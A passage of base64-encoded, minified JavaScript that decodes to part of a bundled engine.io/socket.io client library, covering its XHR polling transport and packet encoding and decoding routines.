dGhvcml6ZWQ9dGhpcy5yZWplY3RVbmF1dGhvcml6ZWQ7dmFyIG49dGhpcy54aHI9bmV3IGEodCkscj10aGlzO3RyeXtoKCJ4aHIgb3BlbiAlczogJXMiLHRoaXMubWV0aG9kLHRoaXMudXJpKSxuLm9wZW4odGhpcy5tZXRob2QsdGhpcy51cmksdGhpcy5hc3luYyk7dHJ5e2lmKHRoaXMuZXh0cmFIZWFkZXJzKXtuLnNldERpc2FibGVIZWFkZXJDaGVjayYmbi5zZXREaXNhYmxlSGVhZGVyQ2hlY2soITApO2Zvcih2YXIgbyBpbiB0aGlzLmV4dHJhSGVhZGVycyl0aGlzLmV4dHJhSGVhZGVycy5oYXNPd25Qcm9wZXJ0eShvKSYmbi5zZXRSZXF1ZXN0SGVhZGVyKG8sdGhpcy5leHRyYUhlYWRlcnNbb10pfX1jYXRjaChzKXt9aWYoIlBPU1QiPT09dGhpcy5tZXRob2QpdHJ5e3RoaXMuaXNCaW5hcnk/bi5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LXR5cGUiLCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTpuLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsInRleHQvcGxhaW47Y2hhcnNldD1VVEYtOCIpfWNhdGNoKHMpe310cnl7bi5zZXRSZXF1ZXN0SGVhZGVyKCJBY2NlcHQiLCIqLyoiKX1jYXRjaChzKXt9IndpdGhDcmVkZW50aWFscyJpbiBuJiYobi53aXRoQ3JlZGVudGlhbHM9ITApLHRoaXMucmVxdWVzdFRpbWVvdXQmJihuLnRpbWVvdXQ9dGhpcy5yZXF1ZXN0VGltZW91dCksdGhpcy5oYXNYRFIoKT8obi5vbmxvYWQ9ZnVuY3Rpb24oKXtyLm9uTG9hZCgpfSxuLm9uZXJyb3I9ZnVuY3Rpb24oKXtyLm9uRXJyb3Iobi5yZXNwb25zZVRleHQpfSk6bi5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtpZigyPT09bi5yZWFkeVN0YXRlKXt2YXIgdDt0cnl7dD1uLmdldFJlc3BvbnNlSGVhZGVyKCJDb250ZW50LVR5cGUiKX1jYXRjaChlKXt9ImFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSI9PT10JiYobi5yZXNwb25zZVR5cGU9ImFycmF5YnVmZmVyIil9ND09PW4ucmVhZHlTdGF0ZSYmKDIwMD09PW4uc3RhdHVzfHwxMjIzPT09bi5zdGF0dXM/ci5vbkxvYWQoKTpzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ci5vbkVycm9yKG4uc3RhdHVzKX0sMCkpfSxoKCJ4aHIgZGF0YSAlcyIsdGhpcy5kYXRhKSxuLnNlbmQodGhpcy5kYXRhKX1jYXRjaChzKXtyZXR1cm4gdm9pZCBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ci5vbkVycm9yKHMpfSwwKX1lLmRvY3VtZW50JiYodGhpcy5pbmRleD1pLnJlcXVlc3RzQ291bnQrKyxpLnJlcXVlc3RzW3RoaXMuaW5kZXhdPXRoaXMpfSxpLnByb3RvdHlwZS5vblN1Y2Nlc3M9ZnVuY3Rpb24oKXt0aGlzLmVtaXQoInN1Y2Nlc3MiKSx0aGlzLmNsZWFudXAoKX0saS5wcm90b3R5cGUub25EYXRhPWZ1bmN0aW9uKHQpe3RoaXMuZW1pdCgiZGF0YSIsdCksdGhpcy5vblN1Y2Nlc3MoKX0saS5wcm90b3R5cGUub25FcnJvcj1mdW5jdGlvbih0KXt0aGlzLmVtaXQoImVycm9yIix0KSx0aGlzLmNsZWFudXAoITApfSxpLnByb3RvdHlwZS5jbGVhbnVwPWZ1bmN0aW9uKHQpe2lmKCJ1bmRlZmluZWQiIT10eXBlb2YgdGhpcy54aHImJm51bGwhPT10aGlzLnhocil7aWYodGhpcy5oYXNYRFIoKT90aGlzLnhoci5vbmxvYWQ9dGhpcy54aHIub25lcnJvcj1yOnRoaXMueGhyLm9ucmVhZHlzdGF0ZWNoYW5nZT1yLHQpdHJ5e3RoaXMueGhyLmFib3J0KCl9Y2F0Y2gobil7fWUuZG9jdW1lbnQmJmRlbGV0ZSBpLnJlcXVlc3RzW3RoaXMuaW5kZXhdLHRoaXMueGhyPW51bGx9fSxpLnByb3RvdHlwZS5vbkxvYWQ9ZnVuY3Rpb24oKXt2YXIgdDt0cnl7dmFyIGU7dHJ5e2U9dGhpcy54aHIuZ2V0UmVzcG9uc2VIZWFkZXIoIkNvbnRlbnQtVHlwZSIpfWNhdGNoKG4pe310PSJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iPT09ZT90aGlzLnhoci5yZXNwb25zZXx8dGhpcy54aHIucmVzcG9uc2VUZXh0OnRoaXMueGhyLnJlc3BvbnNlVGV4dH1jYXRjaChuKXt0aGlzLm9uRXJyb3Iobil9bnVsbCE9dCYmdGhpcy5vbkRhdGEodCl9LGkucHJvdG90eXBlLmhhc1hEUj1mdW5jdGlvbigpe3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgZS5YRG9tYWluUmVxdWVzdCYmIXRoaXMueHMmJnRoaXMuZW5hYmxlc1hEUn0saS5wcm90b3R5cGUuYWJvcnQ9ZnVuY3Rpb24oKXt0aGlzLmNsZWFudXAoKX0saS5yZXF1ZXN0c0NvdW50PTAsaS5yZXF1ZXN0cz17fSxlLmRvY3VtZW50JiYoZS5hdHRhY2hFdmVudD9lLmF0dGFjaEV2ZW50KCJvbnVubG9hZCIscyk6ZS5hZGRFdmVudExpc3RlbmVyJiZlLmFkZEV2ZW50TGlzdGVuZXIoImJlZm9yZXVubG9hZCIscywhMSkpfSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUsbil7ZnVuY3Rpb24gcih0KXt2YXIgZT10JiZ0LmZvcmNlQmFzZTY0O3UmJiFlfHwodGhpcy5zdXBwb3J0c0JpbmFyeT0hMSksby5jYWxsKHRoaXMsdCl9dmFyIG89bigyMSksaT1uKDMwKSxzPW4oMjIpLGE9bigzMSksYz1uKDMyKSxwPW4oMykoImVuZ2luZS5pby1jbGllbnQ6cG9sbGluZyIpO3QuZXhwb3J0cz1yO3ZhciB1PWZ1bmN0aW9uKCl7dmFyIHQ9bigxNyksZT1uZXcgdCh7eGRvbWFpbjohMX0pO3JldHVybiBudWxsIT1lLnJlc3BvbnNlVHlwZX0oKTthKHIsbyksci5wcm90b3R5cGUubmFtZT0icG9sbGluZyIsci5wcm90b3R5cGUuZG9PcGVuPWZ1bmN0aW9uKCl7dGhpcy5wb2xsKCl9LHIucHJvdG90eXBlLnBhdXNlPWZ1bmN0aW9uKHQpe2Z1bmN0aW9uIGUoKXtwKCJwYXVzZWQiKSxuLnJlYWR5U3RhdGU9InBhdXNlZCIsdCgpfXZhciBuPXRoaXM7aWYodGhpcy5yZWFkeVN0YXRlPSJwYXVzaW5nIix0aGlzLnBvbGxpbmd8fCF0aGlzLndyaXRhYmxlKXt2YXIgcj0wO3RoaXMucG9sbGluZyYmKHAoIndlIGFyZSBjdXJyZW50bHkgcG9sbGluZyAtIHdhaXRpbmcgdG8gcGF1c2UiKSxyKyssdGhpcy5vbmNlKCJwb2xsQ29tcGxldGUiLGZ1bmN0aW9uKCl7cCgicHJlLXBhdXNlIHBvbGxpbmcgY29tcGxldGUiKSwtLXJ8fGUoKX0pKSx0aGlzLndyaXRhYmxlfHwocCgid2UgYXJlIGN1cnJlbnRseSB3cml0aW5nIC0gd2FpdGluZyB0byBwYXVzZSIpLHIrKyx0aGlzLm9uY2UoImRyYWluIixmdW5jdGlvbigpe3AoInByZS1wYXVzZSB3cml0aW5nIGNvbXBsZXRlIiksLS1yfHxlKCl9KSl9ZWxzZSBlKCl9LHIucHJvdG90eXBlLnBvbGw9ZnVuY3Rpb24oKXtwKCJwb2xsaW5nIiksdGhpcy5wb2xsaW5nPSEwLHRoaXMuZG9Qb2xsKCksdGhpcy5lbWl0KCJwb2xsIil9LHIucHJvdG90eXBlLm9uRGF0YT1mdW5jdGlvbih0KXt2YXIgZT10aGlzO3AoInBvbGxpbmcgZ290IGRhdGEgJXMiLHQpO3ZhciBuPWZ1bmN0aW9uKHQsbixyKXtyZXR1cm4ib3BlbmluZyI9PT1lLnJlYWR5U3RhdGUmJmUub25PcGVuKCksImNsb3NlIj09PXQudHlwZT8oZS5vbkNsb3NlKCksITEpOnZvaWQgZS5vblBhY2tldCh0KX07cy5kZWNvZGVQYXlsb2FkKHQsdGhpcy5zb2NrZXQuYmluYXJ5VHlwZSxuKSwiY2xvc2VkIiE9PXRoaXMucmVhZHlTdGF0ZSYmKHRoaXMucG9sbGluZz0hMSx0aGlzLmVtaXQoInBvbGxDb21wbGV0ZSIpLCJvcGVuIj09PXRoaXMucmVhZHlTdGF0ZT90aGlzLnBvbGwoKTpwKCdpZ25vcmluZyBwb2xsIC0gdHJhbnNwb3J0IHN0YXRlICIlcyInLHRoaXMucmVhZHlTdGF0ZSkpfSxyLnByb3RvdHlwZS5kb0Nsb3NlPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCgpe3AoIndyaXRpbmcgY2xvc2UgcGFja2V0IiksZS53cml0ZShbe3R5cGU6ImNsb3NlIn1dKX12YXIgZT10aGlzOyJvcGVuIj09PXRoaXMucmVhZHlTdGF0ZT8ocCgidHJhbnNwb3J0IG9wZW4gLSBjbG9zaW5nIiksdCgpKToocCgidHJhbnNwb3J0IG5vdCBvcGVuIC0gZGVmZXJyaW5nIGNsb3NlIiksdGhpcy5vbmNlKCJvcGVuIix0KSl9LHIucHJvdG90eXBlLndyaXRlPWZ1bmN0aW9uKHQpe3ZhciBlPXRoaXM7dGhpcy53cml0YWJsZT0hMTt2YXIgbj1mdW5jdGlvbigpe2Uud3JpdGFibGU9ITAsZS5lbWl0KCJkcmFpbiIpfTtzLmVuY29kZVBheWxvYWQodCx0aGlzLnN1cHBvcnRzQmluYXJ5LGZ1bmN0aW9uKHQpe2UuZG9Xcml0ZSh0LG4pfSl9LHIucHJvdG90eXBlLnVyaT1mdW5jdGlvbigpe3ZhciB0PXRoaXMucXVlcnl8fHt9LGU9dGhpcy5zZWN1cmU/Imh0dHBzIjoiaHR0cCIsbj0iIjshMSE9PXRoaXMudGltZXN0YW1wUmVxdWVzdHMmJih0W3RoaXMudGltZXN0YW1wUGFyYW1dPWMoKSksdGhpcy5zdXBwb3J0c0JpbmFyeXx8dC5zaWR8fCh0LmI2ND0xKSx0PWkuZW5jb2RlKHQpLHRoaXMucG9ydCYmKCJodHRwcyI9PT1lJiY0NDMhPT1OdW1iZXIodGhpcy5wb3J0KXx8Imh0dHAiPT09ZSYmODAhPT1OdW1iZXIodGhpcy5wb3J0KSkmJihuPSI6Iit0aGlzLnBvcnQpLHQubGVuZ3RoJiYodD0iPyIrdCk7dmFyIHI9dGhpcy5ob3N0bmFtZS5pbmRleE9mKCI6IikhPT0tMTtyZXR1cm4gZSsiOi8vIisocj8iWyIrdGhpcy5ob3N0bmFtZSsiXSI6dGhpcy5ob3N0bmFtZSkrbit0aGlzLnBhdGgrdH19LGZ1bmN0aW9uKHQsZSxuKXtmdW5jdGlvbiByKHQpe3RoaXMucGF0aD10LnBhdGgsdGhpcy5ob3N0bmFtZT10Lmhvc3RuYW1lLHRoaXMucG9ydD10LnBvcnQsdGhpcy5zZWN1cmU9dC5zZWN1cmUsdGhpcy5xdWVyeT10LnF1ZXJ5LHRoaXMudGltZXN0YW1wUGFyYW09dC50aW1lc3RhbXBQYXJhbSx0aGlzLnRpbWVzdGFtcFJlcXVlc3RzPXQudGltZXN0YW1wUmVxdWVzdHMsdGhpcy5yZWFkeVN0YXRlPSIiLHRoaXMuYWdlbnQ9dC5hZ2VudHx8ITEsdGhpcy5zb2NrZXQ9dC5zb2NrZXQsdGhpcy5lbmFibGVzWERSPXQuZW5hYmxlc1hEUix0aGlzLnBmeD10LnBmeCx0aGlzLmtleT10LmtleSx0aGlzLnBhc3NwaHJhc2U9dC5wYXNzcGhyYXNlLHRoaXMuY2VydD10LmNlcnQsdGhpcy5jYT10LmNhLHRoaXMuY2lwaGVycz10LmNpcGhlcnMsdGhpcy5yZWplY3RVbmF1dGhvcml6ZWQ9dC5yZWplY3RVbmF1dGhvcml6ZWQsdGhpcy5mb3JjZU5vZGU9dC5mb3JjZU5vZGUsdGhpcy5leHRyYUhlYWRlcnM9dC5leHRyYUhlYWRlcnMsdGhpcy5sb2NhbEFkZHJlc3M9dC5sb2NhbEFkZHJlc3N9dmFyIG89bigyMiksaT1uKDgpO3QuZXhwb3J0cz1yLGkoci5wcm90b3R5cGUpLHIucHJvdG90eXBlLm9uRXJyb3I9ZnVuY3Rpb24odCxlKXt2YXIgbj1uZXcgRXJyb3IodCk7cmV0dXJuIG4udHlwZT0iVHJhbnNwb3J0RXJyb3IiLG4uZGVzY3JpcHRpb249ZSx0aGlzLmVtaXQoImVycm9yIixuKSx0aGlzfSxyLnByb3RvdHlwZS5vcGVuPWZ1bmN0aW9uKCl7cmV0dXJuImNsb3NlZCIhPT10aGlzLnJlYWR5U3RhdGUmJiIiIT09dGhpcy5yZWFkeVN0YXRlfHwodGhpcy5yZWFkeVN0YXRlPSJvcGVuaW5nIix0aGlzLmRvT3BlbigpKSx0aGlzfSxyLnByb3RvdHlwZS5jbG9zZT1mdW5jdGlvbigpe3JldHVybiJvcGVuaW5nIiE9PXRoaXMucmVhZHlTdGF0ZSYmIm9wZW4iIT09dGhpcy5yZWFkeVN0YXRlfHwodGhpcy5kb0Nsb3NlKCksdGhpcy5vbkNsb3NlKCkpLHRoaXN9LHIucHJvdG90eXBlLnNlbmQ9ZnVuY3Rpb24odCl7aWYoIm9wZW4iIT09dGhpcy5yZWFkeVN0YXRlKXRocm93IG5ldyBFcnJvcigiVHJhbnNwb3J0IG5vdCBvcGVuIik7dGhpcy53cml0ZSh0KX0sci5wcm90b3R5cGUub25PcGVuPWZ1bmN0aW9uKCl7dGhpcy5yZWFkeVN0YXRlPSJvcGVuIix0aGlzLndyaXRhYmxlPSEwLHRoaXMuZW1pdCgib3BlbiIpfSxyLnByb3RvdHlwZS5vbkRhdGE9ZnVuY3Rpb24odCl7dmFyIGU9by5kZWNvZGVQYWNrZXQodCx0aGlzLnNvY2tldC5iaW5hcnlUeXBlKTt0aGlzLm9uUGFja2V0KGUpfSxyLnByb3RvdHlwZS5vblBhY2tldD1mdW5jdGlvbih0KXt0aGlzLmVtaXQoInBhY2tldCIsdCl9LHIucHJvdG90eXBlLm9uQ2xvc2U9ZnVuY3Rpb24oKXt0aGlzLnJlYWR5U3RhdGU9ImNsb3NlZCIsdGhpcy5lbWl0KCJjbG9zZSIpfX0sZnVuY3Rpb24odCxlLG4peyhmdW5jdGlvbih0KXtmdW5jdGlvbiByKHQsbil7dmFyIHI9ImIiK2UucGFja2V0c1t0LnR5cGVdK3QuZGF0YS5kYXRhO3JldHVybiBuKHIpfWZ1bmN0aW9uIG8odCxuLHIpe2lmKCFuKXJldHVybiBlLmVuY29kZUJhc2U2NFBhY2tldCh0LHIpO3ZhciBvPXQuZGF0YSxpPW5ldyBVaW50OEFycmF5KG8pLHM9bmV3IFVpbnQ4QXJyYXkoMStvLmJ5dGVMZW5ndGgpO3NbMF09dlt0LnR5cGVdO2Zvcih2YXIgYT0wO2E8aS5sZW5ndGg7YSsrKXNbYSsxXT1pW2FdO3JldHVybiByKHMuYnVmZmVyKX1mdW5jdGlvbiBpKHQsbixyKXtpZighbilyZXR1cm4gZS5lbmNvZGVCYXNlNjRQYWNrZXQodCxyKTt2YXIgbz1uZXcgRmlsZVJlYWRlcjtyZXR1cm4gby5vbmxvYWQ9ZnVuY3Rpb24oKXt0LmRhdGE9by5yZXN1bHQsZS5lbmNvZGVQYWNrZXQodCxuLCEwLHIpfSxvLnJlYWRBc0FycmF5QnVmZmVyKHQuZGF0YSl9ZnVuY3Rpb24gcyh0LG4scil7aWYoIW4pcmV0dXJuIGUuZW5jb2RlQmFzZTY0UGFja2V0KHQscik7aWYoZylyZXR1cm4gaSh0LG4scik7dmFyIG89bmV3IFVpbnQ4QXJyYXkoMSk7b1swXT12W3QudHlwZV07dmFyIHM9bmV3IGsoW28uYnVmZmVyLHQuZGF0YV0pO3JldHVybiByKHMpfWZ1bmN0aW9uIGEodCl7dHJ5e3Q9ZC5kZWNvZGUodCx7c3RyaWN0OiExfSl9Y2F0Y2goZSl7cmV0dXJuITF9cmV0dXJuIHR9ZnVuY3Rpb24gYyh0LGUsbil7Zm9yKHZhciByPW5ldyBBcnJheSh0Lmxlbmd0aCksbz1sKHQubGVuZ3RoLG4pLGk9ZnVuY3Rpb24odCxuLG8pe2UobixmdW5jdGlvbihlLG4pe3JbdF09bixvKGUscil9KX0scz0wO3M8dC5sZW5ndGg7cysrKWkocyx0W3NdLG8pfXZhciBwLHU9bigyMyksaD1uKDkpLGY9bigyNCksbD1uKDI1KSxkPW4oMjYpO3QmJnQuQXJyYXlCdWZmZXImJihwPW4oMjgpKTt2YXIgeT0idW5kZWZpbmVkIiE9dHlwZW9mIG5hdmlnYXRvciYmL0FuZHJvaWQvaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpLG09InVuZGVmaW5lZCIhPXR5cGVvZiBuYXZpZ2F0b3ImJi9QaGFudG9tSlMvaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpLGc9eXx8bTtlLnByb3RvY29sPTM7dmFyIHY9ZS5wYWNrZXRzPXtvcGVuOjAsY2xvc2U6MSxwaW5nOjIscG9uZzozLG1lc3NhZ2U6NCx1cGdyYWRlOjUsbm9vcDo2fSxiPXUodiksdz17dHlwZToiZXJyb3IiLGRhdGE6InBhcnNlciBlcnJvciJ9LGs9bigyOSk7ZS5lbmNvZGVQYWNrZXQ9ZnVuY3Rpb24oZSxuLGksYSl7ImZ1bmN0aW9uIj09dHlwZW9mIG4mJihhPW4sbj0hMSksImZ1bmN0aW9uIj09dHlwZW9mIGkmJihhPWksaT1udWxsKTt2YXIgYz12b2lkIDA9PT1lLmRhdGE/dm9pZCAwOmUuZGF0YS5idWZmZXJ8fGUuZGF0YTtpZih0LkFycmF5QnVmZmVyJiZjIGluc3RhbmNlb2YgQXJyYXlCdWZmZXIpcmV0dXJuIG8oZSxuLGEpO2lmKGsmJmMgaW5zdGFuY2VvZiB0LkJsb2IpcmV0dXJuIHMoZSxuLGEpO2lmKGMmJmMuYmFzZTY0KXJldHVybiByKGUsYSk7dmFyIHA9dltlLnR5cGVdO3JldHVybiB2b2lkIDAhPT1lLmRhdGEmJihwKz1pP2QuZW5jb2RlKFN0cmluZyhlLmRhdGEpLHtzdHJpY3Q6ITF9KTpTdHJpbmcoZS5kYXRhKSksYSgiIitwKX0sZS5lbmNvZGVCYXNlNjRQYWNrZXQ9ZnVuY3Rpb24obixyKXt2YXIgbz0iYiIrZS5wYWNrZXRzW24udHlwZV07aWYoayYmbi5kYXRhIGluc3RhbmNlb2YgdC5CbG9iKXt2YXIgaT1uZXcgRmlsZVJlYWRlcjtyZXR1cm4gaS5vbmxvYWQ9ZnVuY3Rpb24oKXt2YXIgdD1pLnJlc3VsdC5zcGxpdCgiLCIpWzFdO3Iobyt0KX0saS5yZWFkQXNEYXRhVVJMKG4uZGF0YSl9dmFyIHM7dHJ5e3M9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLG5ldyBVaW50OEFycmF5KG4uZGF0YSkpfWNhdGNoKGEpe2Zvcih2YXIgYz1uZXcgVWludDhBcnJheShuLmRhdGEpLHA9bmV3IEFycmF5KGMubGVuZ3RoKSx1PTA7dTxjLmxlbmd0aDt1KyspcFt1XT1jW3VdO3M9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLHApfXJldHVybiBvKz10LmJ0b2EocykscihvKX0sZS5kZWNvZGVQYWNrZXQ9ZnVuY3Rpb24odCxuLHIpe2lmKHZvaWQgMD09PXQpcmV0dXJuIHc7aWYoInN0cmluZyI9PXR5cGVvZiB0KXtpZigiYiI9PT10LmNoYXJBdCgwKSlyZXR1cm4gZS5kZWNvZGVCYXNlNjRQYWNrZXQodC5zdWJzdHIoMSksbik7aWYociYmKHQ9YSh0KSx0PT09ITEpKXJldHVybiB3O3ZhciBvPXQuY2hhckF0KDApO3JldHVybiBOdW1iZXIobyk9PW8mJmJbb10/dC5sZW5ndGg+MT97dHlwZTpiW29dLGRhdGE6dC5zdWJzdHJpbmcoMSl9Ont0eXBlOmJbb119Ond9dmFyIGk9bmV3IFVpbnQ4QXJyYXkodCksbz1pWzBdLHM9Zih0LDEpO3JldHVybiBrJiYiYmxvYiI9PT1uJiYocz1uZXcgayhbc10pKSx7dHlwZTpiW29dLGRhdGE6c319LGUuZGVjb2RlQmFzZTY0UGFja2V0PWZ1bmN0aW9uKHQsZSl7dmFyIG49Ylt0LmNoYXJBdCgwKV07aWYoIXApcmV0dXJue3R5cGU6bixkYXRhOntiYXNlNjQ6ITAsZGF0YTp0LnN1YnN0cigxKX19O3ZhciByPXAuZGVjb2RlKHQuc3Vic3RyKDEpKTtyZXR1cm4iYmxvYiI9PT1lJiZrJiYocj1uZXcgayhbcl0pKSx7dHlwZTpuLGRhdGE6cn19LGUuZW5jb2RlUGF5bG9hZD1mdW5jdGlvbih0LG4scil7ZnVuY3Rpb24gbyh0KXtyZXR1cm4gdC5sZW5ndGgrIjoiK3R9ZnVuY3Rpb24gaSh0LHIpe2UuZW5jb2RlUGFja2V0KHQsISFzJiZuLCExLGZ1bmN0aW9uKHQpe3IobnVsbCxvKHQpKX0pfSJmdW5jdGlvbiI9PXR5cGVvZiBuJiYocj1uLG49bnVsbCk7dmFyIHM9aCh0KTtyZXR1cm4gbiYmcz9rJiYhZz9lLmVuY29kZVBheWxvYWRBc0Jsb2IodCxyKTplLmVuY29kZVBheWxvYWRBc0FycmF5QnVmZmVyKHQscik6dC5sZW5ndGg/dm9pZCBjKHQsaSxmdW5jdGlvbih0LGUpe3JldHVybiByKGUuam9pbigiIikpfSk6cigiMDoiKX0sZS5kZWNvZGVQYXlsb2FkPWZ1bmN0aW9uKHQsbixyKXtpZigic3RyaW5nIiE9dHlwZW9mIHQpcmV0dXJuIGUuZGVjb2RlUGF5bG9hZEFzQmluYXJ5KHQsbixyKTsiZnVuY3Rpb24iPT10eXBlb2YgbiYmKHI9bixuPW51bGwpO3ZhciBvO2lmKCIiPT09dClyZXR1cm4gcih3LDAsMSk7Zm9yKHZhciBpLHMsYT0iIixjPTAscD10Lmxlbmd0aDtjPHA7YysrKXt2YXIgdT10LmNoYXJBdChjKTtpZigiOiI9PT11KXtpZigiIj09PWF8fGEhPShpPU51bWJlcihhKSkpcmV0dXJuIHIodywwLDEpO2lmKHM9dC5zdWJzdHIoYysxLGkpLGEhPXMubGVuZ3RoKXJldHVybiByKHcsMCwxKTtpZihzLmxlbmd0aCl7aWYobz1lLmRlY29kZVBhY2tldChzLG4sITEpLHcudHlwZT09PW8udHlwZSYmdy5kYXRhPT09by5kYXRhKXJldHVybiByKHcsMCwxKTt2YXIgaD1yKG8sYytpLHApO2lmKCExPT09aClyZXR1cm59Yys9aSxhPSIifWVsc2UgYSs9dX1yZXR1cm4iIiE9PWE/cih3LDAsMSk6dm9pZCAwfSxlLmVuY29kZVBheWxvYWRBc0FycmF5QnVmZmVyPWZ1bmN0aW9uKHQsbil7ZnVuY3Rpb24gcih0LG4pe2UuZW5jb2RlUGFja2V0KHQsITAsITAsZnVuY3Rpb24odCl7cmV0dXJuIG4obnVsbCx0KX0pfXJldHVybiB0Lmxlbmd0aD92b2lkIGModCxyLGZ1bmN0aW9uKHQsZSl7dmFyIHI9ZS5yZWR1Y2UoZnVuY3Rpb24odCxlKXt2YXIgbjtyZXR1cm4gbj0ic3RyaW5nIj09dHlwZW9mIGU/ZS5sZW5ndGg6ZS5ieXRlTGVuZ3RoLHQrbi50b1N0cmluZygpLmxlbmd0aCtuKzJ9LDApLG89bmV3IFVpbnQ4QXJyYXkociksaT0wO3JldHVybiBlLmZvckVhY2goZnVuY3Rpb24odCl7dmFyIGU9InN0cmluZyI9PXR5cGVvZiB0LG49dDtpZihlKXtmb3IodmFyIHI9bmV3IFVpbnQ4QXJyYXkodC5sZW5ndGgpLHM9MDtzPHQubGVuZ3RoO3MrKylyW3NdPXQuY2hhckNvZGVBdChzKTtuPXIuYnVmZmVyfWU/b1tpKytdPTA6b1tpKytdPTE7Zm9yKHZhciBhPW4uYnl0ZUxlbmd0aC50b1N0cmluZygpLHM9MDtzPGEubGVuZ3RoO3MrKylvW2krK109cGFyc2VJbnQoYVtzXSk7b1tpKytdPTI1NTtmb3IodmFyIHI9bmV3IFVpbnQ4QXJyYXkobikscz0wO3M8ci5sZW5ndGg7cysrKW9baSsrXT1yW3NdfSksbihvLmJ1ZmZlcil9KTpuKG5ldyBBcnJheUJ1ZmZlcigwKSl9LGUuZW5jb2RlUGF5bG9hZEFzQmxvYj1mdW5jdGlvbih0LG4pe2Z1bmN0aW9uIHIodCxuKXtlLmVuY29kZVBhY2tldCh0LCEwLCEwLGZ1bmN0aW9uKHQpe3ZhciBlPW5ldyBVaW50OEFycmF5KDEpO2lmKGVbMF09MSwic3RyaW5nIj09dHlwZW9mIHQpe2Zvcih2YXIgcj1uZXcgVWludDhBcnJheSh0Lmxlbmd0aCksbz0wO288dC5sZW5ndGg7bysrKXJbb109dC5jaGFyQ29kZUF0KG8pO3Q9ci5idWZmZXIsZVswXT0wfWZvcih2YXIgaT10IGluc3RhbmNlb2YgQXJyYXlCdWZmZXI/dC5ieXRlTGVuZ3RoOnQuc2l6ZSxzPWkudG9TdHJpbmcoKSxhPW5ldyBVaW50OEFycmF5KHMubGVuZ3RoKzEpLG89MDtvPHMubGVuZ3RoO28rKylhW29dPXBhcnNlSW50KHNbb10pO2lmKGFbcy5sZW5ndGhdPTI1NSxrKXt2YXIgYz1uZXcgayhbZS5idWZmZXIsYS5idWZmZXIsdF0pO24obnVsbCxjKX19KX1jKHQscixmdW5jdGlvbih0LGUpe3JldHVybiBuKG5ldyBrKGUpKX0pfSxlLmRlY29kZVBheWxvYWRBc0JpbmFyeT1mdW5jdGlvbih0LG4scil7ImZ1bmN0aW9uIj09dHlwZW9mIG4mJihyPW4sbj1udWxsKTtmb3IodmFyIG89dCxpPVtdO28uYnl0ZUxlbmd0aD4wOyl7Zm9yKHZhciBzPW5ldyBVaW50OEFycmF5KG8pLGE9MD09PXNbMF0sYz0iIixwPTE7MjU1IT09c1twXTtwKyspe2lmKGMubGVuZ3RoPjMxMClyZXR1cm4gcih3LDAsMSk7Yys9c1twXX1vPWYobywyK2MubGVuZ3RoKSxjPXBhcnNlSW50KGMpO3ZhciB1PWYobywwLGMpO2lmKGEpdHJ5e3U9U3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLG5ldyBVaW50OEFycmF5KHUpKX1jYXRjaChoKXt2YXIgbD1uZXcgVWludDhBcnJheSh1KTt1PSIiO2Zvcih2YXIgcD0wO3A8bC5sZW5ndGg7cCsrKXUrPVN0cmluZy5mcm9tQ2hhckNvZGUobFtwXSl9aS5wdXNoKHUpLG89ZihvLGMpfXZhciBkPWkubGVuZ3RoO2kuZm9yRWFjaChmdW5jdGlvbih0LG8pe3IoZS5kZWNvZGVQYWNrZXQodCxuLCEwKSxvLGQpfSl9fSkuY2FsbChlLGZ1bmN0aW9uKCl7cmV0dXJuIHRoaXN9KCkpfSxmdW5jdGlvbih0LGUpe3QuZXhwb3J0cz1PYmplY3Qua2V5c3x8ZnVuY3Rpb24odCl7dmFyIGU9W10sbj1PYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5O2Zvcih2YXIgciBpbiB0KW4uY2FsbCh0LHIpJiZlLnB1c2gocik7cmV0dXJuIGV9fSxmdW5jdGlvbih0LGUpe3QuZXhwb3J0cz1mdW5jdGlvbih0LGUsbil7dmFyIHI9dC5ieXRlTGVuZ3RoO2lmKGU9ZXx8MCxuPW58fHIsdC5zbGljZSlyZXR1cm4gdC5zbGljZShlLG4pO2lmKGU8MCYmKGUrPXIpLG48MCYmKG4rPXIpLG4+ciYmKG49ciksZT49cnx8ZT49bnx8MD09PXIpcmV0dXJuIG5ldyBBcnJheUJ1ZmZlcigwKTtmb3IodmFyIG89bmV3IFVpbnQ4QXJyYXkodCksaT1uZXcgVWludDhBcnJheShuLWUpLHM9ZSxhPTA7czxuO3MrKyxhKyspaVthXT1vW3NdO3JldHVybiBpLmJ1ZmZlcn19LGZ1bmN0aW9uKHQsZSl7ZnVuY3Rpb24gbih0LGUsbil7ZnVuY3Rpb24gbyh0LHIpe2lmKG8uY291bnQ8PTApdGhyb3cgbmV3IEVycm9yKCJhZnRlciBjYWxsZWQgdG9vIG1hbnkgdGltZXMiKTstLW8uY291bnQsdD8oaT0hMCxlKHQpLGU9bik6MCE9PW8uY291bnR8fGl8fGUobnVsbCxyKX12YXIgaT0hMTtyZXR1cm4gbj1ufHxyLG8uY291bnQ9dCwwPT09dD9lKCk6b31mdW5jdGlvbiByKCl7fXQuZXhwb3J0cz1ufSxmdW5jdGlvbih0LGUsbil7dmFyIHI7KGZ1bmN0aW9uKHQsbyl7IWZ1bmN0aW9uKGkpe2Z1bmN0aW9uIHModCl7Zm9yKHZhciBlLG4scj1bXSxvPTAsaT10Lmxlbmd0aDtvPGk7KWU9dC5jaGFyQ29kZUF0KG8rKyksZT49NTUyOTYmJmU8PTU2MzE5JiZvPGk/KG49dC5jaGFyQ29kZUF0KG8rKyksNTYzMjA9PSg2NDUxMiZuKT9yLnB1c2goKCgxMDIzJmUpPDwxMCkrKDEwMjMmbi